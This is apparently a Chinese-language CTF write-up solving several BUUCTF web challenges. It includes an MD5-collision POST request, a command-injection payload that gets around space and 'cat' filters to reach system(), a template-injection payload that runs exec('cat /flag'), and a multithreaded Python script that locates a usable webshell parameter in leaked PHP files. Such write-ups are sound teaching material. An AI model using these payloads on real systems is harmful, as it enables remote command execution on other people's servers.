我们这里下载好之后在该处启动cmd,同时写入一个源文件(我这里命名为yuan.txt),内容为1即可
而后在cmd中写入指令
ll_v1.0.0.5.exe -p yuan.txt -o 1.txt 2.txt
而后因为1.txt和2.txt有不可见字符,用的话需要编码一下,同时我们这里可以验证一下是否相等,PHP脚本如下
<?php
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
echo '二进制md5加密 '. md5( (readmyfile("1.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("1.txt"));
echo "</br>";
echo '二进制md5加密 '.md5( (readmyfile("2.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("2.txt"));
echo "</br>";
可以看到确实相等,接下来直接拿URL编码去打就好了
POST /index.php?img=&cmd=l\s+/ HTTP/1.1
Host: dcbc2c02-e628-44ad-91ae-f15180cdcec1.node4.buuoj.cn:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1035
a=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00r%A9uy%E8j%60gq%3B%E5F%B6P%BC%D4%04%3E%EA%0C%C6%C8%CE%EC%1A%D66%5D%09%1E%28%B6%C6%A3%FF%CB%F2%CD%0C%3CO+%3E%14%2B%92%9C%8D%29%B5i%B8%8F%1DU%E2%27K%DCzX%0B%EF%CF%B2%C6%F0q%DB%7B%8F%DD%C3%191%C4%0F%E3%94j%91a%AC%9AhZ%F3%F7%09%C5%10g%87_%88%E6%D3%F5%3AH%97%02%AF%13%B5%02P%3C%7B%04%F3MV%A3%3E%CE%F7K%FD%1E%28wC%8D%F3%CF%07%86
&b=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00r%A9uy%E8j%60gq%3B%E5F%B6P%BC%D4%04%3E%EA%8C%C6%C8%CE%EC%1A%D66%5D%09%1E%28%B6%C6%A3%FF%CB%F2%CD%0C%3CO+%3E%14%2B%12%9D%8D%29%B5i%B8%8F%1DU%E2%27K%DC%FAX%0B%EF%CF%B2%C6%F0q%DB%7B%8F%DD%C3%191%C4%0F%E3%94j%91a%AC%1AhZ%F3%F7%09%C5%10g%87_%88%E6%D3%F5%3AH%97%02%AF%13%B5%02P%3C%7B%84%F2MV%A3%3E%CE%F7K%FD%1E%28wC%0D%F3%CF%07%86
[WUSTCTF2020]朴实无华
进入靶场后一无所获,使用扫描器扫描后发现robots.txt
访问这个文件
内容没什么东西,但发现新文件,访问后得源码
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
三层防护,看第一个
intval($num) < 2020 && intval($num + 1) > 2021
一眼丁真,用科学技术法绕过,PHP中当用到intval函数时,会把1e100
这种视为1,所以我们这里用1e10
即可绕过,因为1e10
对于PHP5来说,就是1,而当在里面先进行计算时,就会变成正常的情况,即1*10^10
,所以可以实现绕过
第二个,$md5==md5($md5)
,要求数值在进行md5加密后与本值相同,但这里是弱比较==
,所以我们这里可以让他都为0exxx(后面都是数字)
,此时可以达到绕过,满足此条件的数值
0e2159620
0e215962017
接下来看第三个,过滤了空格和cat
,空格可以用%09
,cat
可以用ca\t
,最终payload
/fl4g.php?num=100e2&md5=0e215962017&get_flag=ca\t%09*
[BJDCTF2020]Cookie is so stable
打开界面点击flag
看起来有点像SSTI,输入一下
PHP建站,大概率是Swig
模板引擎,构造payload如下
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
但这里我不知道为啥在界面上输入显示
然后我用的bp发包可以,这里需要注意一下,就是SSTI的点是在cookie处的,这点与题目正好对应
[强网杯 2019]高明的黑客
题目描述了www.tar.gz
文件泄露,访问后下载文件,
发现都是很乱的文件内容,很多都有参数,都有shell,但不知道哪个可执行。所以用脚本分辨
import os
import requests
import re
import threading
import time
print('开始时间: ' + time.asctime(time.localtime(time.time())))
s1 = threading.Semaphore(100) # 这儿设置最大的线程数
filePath = r"E:/Bnessy/Desktop/src/"
os.chdir(filePath) # 改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 # 设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying ' + file + ' ' + time.asctime(time.localtime(time.time())))
with open(file, encoding='utf-8') as f: # 打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} # 所有的$_POST
params = {} # 所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://localhost/src/' + file
req = session.post(url, data=data, params=params) # 一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
# print(content)
if "xxxxxx" in content: # 如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url + '?%s=' % a + "echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b: "echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: # flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: ' + file + " and 找到了利用的参数:%s" % param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: # 加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
这里大致的意思就是遍历全部的参数,然后给他们赋值为输出xxx
,当有输出xxx
的时候,就说明这个参数可用,然后就找到了可利用的shell,最终payload
/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag